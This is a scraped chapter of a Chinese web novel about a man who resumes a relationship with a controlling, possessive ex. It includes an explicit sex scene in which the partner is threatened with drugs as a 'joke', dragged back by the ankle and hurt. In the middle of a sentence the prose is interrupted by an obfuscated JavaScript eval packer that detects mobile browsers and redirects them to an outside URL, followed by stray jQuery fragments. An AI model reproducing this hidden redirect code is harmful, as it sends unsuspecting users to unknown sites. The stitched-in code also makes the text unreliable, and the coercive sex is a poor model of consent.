13. 13

作品:《和阴湿疯批前任重逢后

    祁漾的呼吸完全被谢忱言剥夺,谢忱言的存在感过强,下巴上的力量让他无法合拢嘴。


    光是接吻已经不能满足谢忱言,他撬开祁漾的牙齿,让祁漾完全地接纳自己。


    谢忱言的吻总是很霸道很强势,抓着祁漾的手让他没有反抗的机会,用牙齿细细地撕咬,吻得祁漾的嘴唇很明显地肿胀起来。


    “可以了。”


    趁谢忱言退开的瞬间,祁漾抓住机会大口的呼吸新鲜空气。缺氧太久,让他觉得大脑都有点不清晰。


    谢忱言爱他这个样子爱到心里泛开涟漪,嘴唇微微张开,红润的嘴唇上还有他留下来的涎液,眼神在长久的缺氧下变得迷离,半天无法追踪到一个可以聚焦的东西上,白色的脸颊上升起来两片浅浅的红。


    可爱得紧。


    看也看不够。


    谢忱言双手环抱住祁漾,连同他两只手也一起抱住了,用力地亲他,亲额头,亲脸颊,亲脖子和耳朵……


    亲不够。


    最后等祁漾呼吸够了,又再次亲他的嘴唇。


    “嗯……”


    祁漾发出很低的喘息,落在谢忱言耳朵里,反而有一种欲迎还拒的意味。


    半个小时后,祁漾咬着手指倒在床上,两条腿还在床下,裤子已经被谢忱言退下去了。


    房间里灯都没开,视线完全被黑暗占据,触觉和听觉在这时候被放大,他听见细微的水声,感觉到头发扎在自己大腿上。


    还是没反应……


    谢忱言心里升起一股无名的挫败感。


    在祁漾推开他的时候,他难受地坐在地上,沉默了许久才开口:“上次那个药又拿了一点过来,我喂你吃点?”


    祁漾打了一个冷颤,脚在床上撞了一下,开始蠕动着往床上爬。


    爬了没两秒,谢忱言就扯着他的脚踝把他拖回来。他强硬地挤进祁漾双腿之间,双手抓着祁漾的大腿:“吓你的,明天开始我带你去看医生。”


    身体的异物感太过于明显,祁漾在黑暗中无助地瞪大眼睛,感受身体硬生生被劈开的那种痛觉占据了自己全部的神经。


    期间换了好几个姿势,谢忱言把他身上的衣服都脱下来了,躺在他身下又抱着他的腰坐起来,牙齿含着他身前的凸起用牙尖细细地啃咬。


    祁漾难受地用手去抵开他,手腕上那个玉镯贴在他胸口,在谢忱言滚烫的身躯上凿开一个小小的冰槽。


    “好冰。”


    谢忱言抓着他戴了玉镯的那只手咬一口,没等祁漾反应过来就翻过身把他压在身下,双手把他那只戴着玉镯的手捏着藏在胸口。


    “宝宝,戴着是不是很凉啊,老公给你暖暖。”


    祁漾被顶得视线难以聚焦,夜色中,他在不平静的湖面起伏,谢忱言是驮着他的一叶小舟,他只能也被迫依赖谢忱言。


    彻底结束已经快到凌晨,四周一片寂静,谢忱言抱着祁漾帮他清洗干净,然后抱着他回到床上,将头埋在他的肩膀上。


    在黑暗中,他的手从祁漾肩膀上滑到手腕处,摸到他光秃秃的另一只手,突然想起什么一般,问祁漾:“那天不是看你戴了块表吗?”


    “怎么没戴了?”


    祁漾在夜色中睁开眼,谢忱言宽大的手掌在他手腕上收紧,轻轻地摩挲他那一块地方的皮肤。


    “换衣服的时候取下来,放在餐厅里。”祁漾说,“忘记带回来了。”


    谢忱言也不是很在意,淡淡地问祁漾喜不喜欢。


    祁漾借着夜色掩盖自己脸上的恐慌:“还行吧。”


    谢忱言就凑上来,吻他的下巴,很用力地嗅他身上的味道。两个人才密不可分地相处过,谢忱言觉得祁漾身上此时都是自己的味道。


    “我困了。”祁漾怕他再问下去,对他的亲吻和胡乱摸索的手都没有什么反抗,只是抓着他的手指说,“睡觉吧。”


    第二天祁漾醒得比较早,腰和腿都有点酸痛,艰难地翻了个身,发现谢忱言比他醒得更早,一动不动地用幽深的目光打量他。


    “醒了啊?”谢忱言第一时间就发现了他的动静,随手把手机放在一旁,把他从床上捞起来,“带你去洗漱。”


    祁漾一身酸痛,也懒得自己走,顺势用腿圈住他的腰,趴在他身上任由他把自己搬来搬去。


    发现刚才谢忱言放的那部手机其实是他的。


    祁漾收回目光趴在谢忱言肩膀上,幸好一开始就没有打算用这部手机做什么。


    但是现在程枕也找到了,他也应该要有一部自己的手机来和程枕保持联系。


    早饭是谢忱言陪着一起吃的,一些营养品的大杂烩,祁漾吃不习惯,每天早上都很艰难地让自己多吃一点开堵住谢忱言的嘴。


    临放下筷子的时候,祁漾突然想到什么,扯着谢忱言的衣袖问:“中午能不能不让人给我送饭了?我不想在老板办公室去吃饭。”


    谢忱言偏过头:“为什么?”


    祁漾说:“每天中午我都去老板那里,别人以为我打小报告。”


    其实还存了别的心思。


    祁漾想,自己都恶毒地暗示到这种程度了,谢忱言会不会使用权力帮他把大寸头送走啊?


    结果谢忱言说:“好,那中午你自己在外面吃吧,手机里有钱。”


    没想到是这样的结果,祁漾怔愣了半秒,被突如其来的惊喜砸在了身上,整个人都处在受到巨大喜悦的刺激下微微发抖。


    那他中午要出去的话,岂不是有了很好的理由?多出来的几个小时的休息时间,就是不出现在餐厅里也无人知道。


    谢忱言的手搭在头上,站起来,抚摸小狗一样摸他的头:“在餐厅吃员工餐也行,但是不能不吃午饭。”


    祁漾兴奋地点头,为突然得到几个小时的休息时间而感到狂喜,出门的时候脚步十分雀跃,哼着一些不知名的调调骑着电瓶车离开。


    谢忱言看着他的身影消失在路尽头,慢慢地收回目光。


    大早上不适合抽烟,他本来也不是一个烟瘾很大的人。但是面对祁漾产生的这种无力敢让他此时此刻萌生了一种要吸烟的感觉。


    握住了怕让祁漾窒息,松开了又怕祁漾消失。


    这两种情绪无时无刻不在拉扯着他的理智。


    早上吹着点风,今天的天气不是特别好,谢忱言叼着烟,一只手侧着挡风,一只手微微颤抖着点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014006|162080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    火。


    “陈叔,下午你去接羊羊。”


    吐出一口烟,谢忱言看着烟雾一点一点在半空中被烟吹散。


    靠着门口那颗巨大的树,眉眼间生出点落寞和狠戾,淡淡地吩咐陈森。


    谢忱言中午果然没有再叫人送午饭来,老板也没有叫祁漾去办公室吃饭,那个讨人厌的大寸头也没有消失。


    中午大多数员工都吃员工餐,下班的时间,祁漾换了衣服出来,手揣在口袋里摸着那张棱角分明的银行卡。


    大寸头和其他人聊着天从祁漾面前走过,没有一个人开口问祁漾要不要去吃午饭。


    祁漾抿着唇从他们身边经过,偷偷背对着他们翻白眼。


    他买了午饭,然后去了程枕的酒店。


    程枕并不在,敲了很久的门也没有人应答。他连联系程枕的方式都没有,只能失落地离开,在路边找了个流浪汉,和他一起把饭吃了。


    狼吞虎咽地吃过饭时间都还早,祁漾摸着口袋里那张卡,这张卡里面有两万块钱,是后来临时起意让大哥转出来的。


    这两万块钱,他打算拿一部分出来给程枕租房,他觉得一直让程枕住酒店不太好,而且在酒店里,如果他想要的话,也不太好发挥。


    他比较想和程枕有一个私人的住处。


    他低落地走在街道上,看见旁边的手机店铺,纠结许久,还是走了进去。


    最后他买了一款比较平价的手机,不论是性能还是品牌,都比谢忱言给他的那一个要差很多,但是他不介意,只要能和程枕联系的手机,都是好手机。


    他也没有插卡,借着手机店铺里的网络蹲在角落里给程枕打视频电话,程枕过了很久才接。


    那边光线有点昏暗,背景有点吵闹,祁漾眯着眼睛看了半晌,发现程枕在赌场里。


    “我……”程枕扔掉手里的东西,拿着手机走到没人的厕所里,“我今天来还钱嘛!”


    “你怎么跟我联系了,不怕被谢忱言发现?”


    程枕转移话题非常快。


    祁漾说:“我偷偷买了一个手机,以后就用这个手机跟你联系。”


    程枕说:“哦,我这边有点忙,到时候再说。”


    背景音里有人在催他,让他快点。


    祁漾来不及说下一句话,程枕就挂断了视频走了。


    其实大概也能猜出来程枕在干什么,他拿着手机蹲在地上,双腿有些发麻,毫无形象地靠在墙上,看店外人来人往的人群。


    程枕身上赌这个瘾,没有这么容易戒掉的。


    可是……


    手机震动了一下,是程枕给他发了一条消息。


    “我真的有点忙,明天我在酒店等你,给你准备了礼物,你听话。”


    祁漾期待地笑起来,没办法了,程枕在他这里就是有豁免权。即使偶尔也会有一点一滴的伤心难受,但目前都还没有积累起来。


    这些都是很微小的事情,比起自己从程枕那里得到的安全感和满足,程枕带给他的幸福感,是用钱衡量不了的。


    祁漾站起来,眼睛因为喜悦而弯弯的半眯着,依旧选择豁免,带着对程枕的期待回到了餐厅继续工作。